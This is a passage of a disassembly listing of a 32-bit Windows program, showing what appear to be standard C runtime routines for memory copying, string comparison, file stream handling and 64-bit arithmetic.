					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4E21DC
		call	sub_422608
		mov	edx, dword_4E21DC
		pop	ecx
		mov	ecx, dword_4E21D8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4E21DC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4E21D8
		sub	ecx, dword_4E21DC
		mov	dword_4E21DC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4E21D8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4E21D8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4E21DC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4E21DC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4E21DC
		mov	dword_4E21D8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2790000h
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 28A0000h
		nop
		mov	ax, [ebp+var_16]
		cmp	ax, word_4E0B92
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4E0B90
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4E0B8E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4E0B8A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4E0B88
		jnz	short loc_41D0E6
		mov	eax, dword_4E0B80
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2890000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4E0B88
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4E0B80, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4E0BDC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4E0B28, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A0129h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2690A97h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4E0B28, 0Dh
		mov	dword_4E0B2C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E0BE4
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4E0BE4
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
